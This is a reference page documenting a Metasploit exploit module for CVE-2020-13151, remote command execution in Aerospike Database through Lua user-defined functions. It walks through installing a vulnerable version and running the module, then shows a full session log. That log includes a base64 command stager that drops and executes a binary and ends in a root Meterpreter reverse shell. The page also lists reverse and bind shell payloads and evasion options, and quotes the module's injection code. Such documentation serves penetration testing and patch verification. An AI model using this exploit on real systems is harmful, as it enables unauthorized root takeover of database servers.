Aerospike Database UDF Lua Code Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/misc/aerospike_database_udf_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Aerospike Database UDF Lua Code Execution
Module: exploit/linux/misc/aerospike_database_udf_cmd_exec
Source code: modules/exploits/linux/misc/aerospike_database_udf_cmd_exec.rb
Disclosure date: 2020-07-31
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): 3000
List of CVEs: CVE-2020-13151

Aerospike Database versions before 5.1.0.3 permitted user-defined functions (UDF) to call the os.execute Lua function. This module creates a UDF utilising this function to execute arbitrary operating system commands with the privileges of the user running the Aerospike service. This module does not support authentication; however Aerospike Database Community Edition does not enable authentication by default. This module has been tested successfully on Ubuntu with Aerospike Database Community Edition versions 4.9.0.5, 4.9.0.11 and 5.0.0.10.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use exploit/linux/misc/aerospike_database_udf_cmd_exec
msf exploit(aerospike_database_udf_cmd_exec) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Aerospike Database versions before 5.1.0.3 permitted user-defined functions (UDF) to call the os.execute Lua function.

This module creates a UDF utilising this function to execute arbitrary operating system commands with the privileges of the user running the Aerospike service.

This module does not support authentication; however Aerospike Database Community Edition does not enable authentication by default.

This module has been tested successfully on Ubuntu with Aerospike Database Community Edition versions 4.9.0.5, 4.9.0.11 and 5.0.0.10.

Verification Steps


Download a vulnerable version of Aerospike Database Community Edition from:

  • https://www.aerospike.com/artifacts/aerospike-server-community/

Decompress the compressed .tgz software installer archive file:

$ gunzip aerospike-server-community-5.0.0.10-ubuntu18.04.tgz
$ tar xvf aerospike-server-community-5.0.0.10-ubuntu18.04.tar

Install:

$ cd aerospike-server-community-5.0.0.10-ubuntu18.04
$ sudo ./asinstall

Start the aerospike service:

$ sudo service aerospike start
  1. Start msfconsole
  2. Do: use exploit/linux/misc/aerospike_database_udf_cmd_exec
  3. Do: set RHOSTS [IP]
  4. Do: set target [target]
  5. Do: set payload [payload]
  6. Do: set LHOST [IP]
  7. Do: exploit

Options


UDF_DIRECTORY

Directory where Lua UDF files are stored (Default: /opt/aerospike/usr/udf/lua/)

Scenarios


Aerospike Database Community Edition version 5.0.0.10 on Ubuntu 20.04 (x64)

msf6 > use exploit/linux/misc/aerospike_database_udf_cmd_exec 
[*] Using configured payload cmd/unix/reverse
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set rhost 172.16.191.208
rhost => 172.16.191.208
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   Linux (Dropper)


msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set target 1
target => 1
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set payload
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set verbose true
verbose => true
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set lhost 172.16.191.165 
lhost => 172.16.191.165
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] 172.16.191.208:3000 - Executing automatic check (disable AutoCheck to override)
[*] 172.16.191.208:3000 - Aerospike Database version 5.0.0.10
[+] 172.16.191.208:3000 - The target appears to be vulnerable.
[*] 172.16.191.208:3000 - Sending payload (123 bytes) ...
[*] 172.16.191.208:3000 - Generated command stager: ["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1torBC/pWgCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/zqOkT.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/qXNWk' < '/tmp/zqOkT.b64' ; chmod +x '/tmp/qXNWk' ; '/tmp/qXNWk' & sleep 2 ; rm -f '/tmp/qXNWk' ; rm -f '/tmp/zqOkT.b64'"]
[*] 172.16.191.208:3000 - Creating UDF 'DpdWZwYHiuZvjods.lua' ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (976712 bytes) to 172.16.191.208
[*] 172.16.191.208:3000 - UDF 'DpdWZwYHiuZvjods.lua' removed successfully
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.208:55852) at 2020-12-05 09:09:27 -0500
[*] Transmitting intermediate stager...(106 bytes)
[*] 172.16.191.208:3000 - Command Stager progress - 100.00% done (773/773 bytes)

meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : ubuntu.local
OS           : Ubuntu 20.04 (Linux 5.4.0-53-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the linux/misc/aerospike_database_udf_cmd_exec exploit module looks in the msfconsole:

msf6 > use exploit/linux/misc/aerospike_database_udf_cmd_exec

[*] Using configured payload cmd/unix/reverse
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show info

       Name: Aerospike Database UDF Lua Code Execution
     Module: exploit/linux/misc/aerospike_database_udf_cmd_exec
   Platform: Linux, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2020-07-31

Provided by:
  b4ny4n
  bcoles <[email protected]>

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix Command
  1   Linux (Dropper)

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    3000             yes       The target port (TCP)
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:

Description:
  Aerospike Database versions before 5.1.0.3 permitted user-defined 
  functions (UDF) to call the `os.execute` Lua function. This module 
  creates a UDF utilising this function to execute arbitrary operating 
  system commands with the privileges of the user running the 
  Aerospike service. This module does not support authentication; 
  however Aerospike Database Community Edition does not enable 
  authentication by default. This module has been tested successfully 
  on Ubuntu with Aerospike Database Community Edition versions 
  4.9.0.5, 4.9.0.11 and 5.0.0.10.

References:
  https://www.exploit-db.com/exploits/49067
  https://nvd.nist.gov/vuln/detail/CVE-2020-13151
  https://packetstormsecurity.com/files/160106
  https://www.aerospike.com/enterprise/download/server/notes.html#5.1.0.3
  https://github.com/b4ny4n/CVE-2020-13151
  https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html
  https://www.aerospike.com/docs/operations/manage/udfs/

Module Options


This is a complete list of options available in the linux/misc/aerospike_database_udf_cmd_exec exploit:

msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show options

Module options (exploit/linux/misc/aerospike_database_udf_cmd_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    3000             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Unix Command

Advanced Options


Here is a complete list of advanced options supported by the linux/misc/aerospike_database_udf_cmd_exec exploit:

msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show advanced

Module advanced options (exploit/linux/misc/aerospike_database_udf_cmd_exec):

   Name                    Current Setting              Required  Description
   ----                    ---------------              --------  -----------
   AutoCheck               true                         no        Run check before exploit
   CHOST                                                no        The local client address
   CMDSTAGER::DECODER                                   no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                         no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest)
   CMDSTAGER::SSL          false                        no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                      no        Writable directory for staged files
   CPORT                                                no        The local client port
   ConnectTimeout          10                           yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                               no        The information file that contains context information
   DisablePayloadHandler   false                        no        Disable the handler code for the selected payload
   EXE::Custom                                          no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                        no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                        no        Use the default template in case the specified one is missing
   EXE::Inject             false                        no        Set to preserve the original EXE function
   EXE::OldMethod          false                        no        Set to use the substitution EXE generation method.
   EXE::Path                                            no        The directory in which to look for the executable template
   EXE::Template                                        no        The executable template file name.
   EnableContextEncoding   false                        no        Use transient context when encoding payloads
   ForceExploit            false                        no        Override check result
   ListenerComm                                         no        The specific communication channel to use for this service
   MSI::Custom                                          no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                        no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                            no        The directory in which to look for the msi template
   MSI::Template                                        no        The msi template file name
   MSI::UAC                false                        no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   Proxies                                              no        A proxy chain of format type:host:port[,type:host:port][...]
   SSLCipher                                            no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                        no        Enable SSL/TLS-level compression
   SSLVerifyMode           PEER                         no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto                         yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                        no        Return a robots.txt file if asked for one
   UDF_DIRECTORY           /opt/aerospike/usr/udf/lua/  yes       Directory where Lua UDF files are stored
   URIHOST                                              no        Host to use in URI (useful for tunnels)
   URIPORT                                              no        Port to use in URI (useful for tunnels)
   VERBOSE                 false                        no        Enable detailed status messages
   WORKSPACE                                            no        Specify the workspace for this module
   WfsDelay                2                            no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/misc/aerospike_database_udf_cmd_exec module can exploit:

msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   Linux (Dropper)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/aerospike_database_udf_cmd_exec exploit:

msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   22  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   23  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   24  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   25  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   26  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   27  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   28  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   29  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   30  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   31  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   32  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   33  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   34  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   35  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   36  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   37  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   38  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   39  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   40  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   43  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   44  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   45  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   46  payload/generic/custom                                       normal  No     Custom Payload
   47  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   48  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/misc/aerospike_database_udf_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

error


Here is a relevant code snippet related to the "error" error message:

147:	    #
148:	    # This would cause the subsequent call to unregister the UDF to fail,
149:	    # permanently backdooring the system (that's bad).
150:	    res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")})
151:	
152:	    return unless res.to_s.include?('error')
153:	
154:	    if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res
155:	      print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")
156:	    else
157:	      print_error('UDF registration failed')

UDF registration failed: <ERROR>: <VALUE>


Here is a relevant code snippet related to the "UDF registration failed: <ERROR>: <VALUE>" error message:

150:	    res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")})
151:	
152:	    return unless res.to_s.include?('error')
153:	
154:	    if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res
155:	      print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")
156:	    else
157:	      print_error('UDF registration failed')
158:	    end
159:	  ensure
160:	    # NOTE: unregistering the UDF is super important as leaving the UDF

UDF registration failed


Here is a relevant code snippet related to the "UDF registration failed" error message:

152:	    return unless res.to_s.include?('error')
153:	
154:	    if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res
155:	      print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")
156:	    else
157:	      print_error('UDF registration failed')
158:	    end
159:	  ensure
160:	    # NOTE: unregistering the UDF is super important as leaving the UDF
161:	    # registered causes the payload to be executed repeatedly, effectively
162:	    # permanently backdooring the system (that's bad).

UDF '<FNAME>' could not be removed


Here is a relevant code snippet related to the "UDF '<FNAME>' could not be removed" error message:

161:	    # registered causes the payload to be executed repeatedly, effectively
162:	    # permanently backdooring the system (that's bad).
163:	    if remove_udf(fname).to_s.include?('ok')
164:	      vprint_status("UDF '#{fname}' removed successfully")
165:	    else
166:	      print_warning("UDF '#{fname}' could not be removed")
167:	    end
168:	  end
169:	
170:	  def check
171:	    connect

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

171:	    connect
172:	
173:	    res = build
174:	
175:	    unless res
176:	      return CheckCode::Unknown('Connection failed')
177:	    end
178:	
179:	    version = res.to_s.scan(/build\s*([\d.]+)/).flatten.first
180:	
181:	    unless version

Target is not Aerospike Database


Here is a relevant code snippet related to the "Target is not Aerospike Database" error message:

177:	    end
178:	
179:	    version = res.to_s.scan(/build\s*([\d.]+)/).flatten.first
180:	
181:	    unless version
182:	      return CheckCode::Safe('Target is not Aerospike Database')
183:	    end
184:	
185:	    vprint_status("Aerospike Database version #{version}")
186:	
187:	    if Rex::Version.new(version) >= Rex::Version.new('5.1.0.3')

Version is not vulnerable


Here is a relevant code snippet related to the "Version is not vulnerable" error message:

183:	    end
184:	
185:	    vprint_status("Aerospike Database version #{version}")
186:	
187:	    if Rex::Version.new(version) >= Rex::Version.new('5.1.0.3')
188:	      return CheckCode::Safe('Version is not vulnerable')
189:	    end
190:	
191:	    unless features.to_s.include?('udf')
192:	      return CheckCode::Safe('User defined functions are not supported')
193:	    end

User defined functions are not supported


Here is a relevant code snippet related to the "User defined functions are not supported" error message:

187:	    if Rex::Version.new(version) >= Rex::Version.new('5.1.0.3')
188:	      return CheckCode::Safe('Version is not vulnerable')
189:	    end
190:	
191:	    unless features.to_s.include?('udf')
192:	      return CheckCode::Safe('User defined functions are not supported')
193:	    end
194:	
195:	    CheckCode::Appears
196:	  end
197:	

Payload size (<PAYLOAD.ENCODED.LENGTH> bytes) is large than maximum permitted size (<MAX_SIZE> bytes)


Here is a relevant code snippet related to the "Payload size (<PAYLOAD.ENCODED.LENGTH> bytes) is large than maximum permitted size (<MAX_SIZE> bytes)" error message:

198:	  def exploit
199:	    # NOTE: maximum packet size is 65,535 bytes and we lose some space to
200:	    # packet overhead, command stager overhead, and double base64 encoding.
201:	    max_size = 35_000 # 35,000 bytes double base64 encoded is 63,874 bytes.
202:	    if payload.encoded.length > max_size
203:	      fail_with(Failure::BadConfig, "Payload size (#{payload.encoded.length} bytes) is large than maximum permitted size (#{max_size} bytes)")
204:	    end
205:	
206:	    print_status("Sending payload (#{payload.encoded.length} bytes) ...")
207:	    case target['Type']
208:	    when :unix_command

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • b4ny4n
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.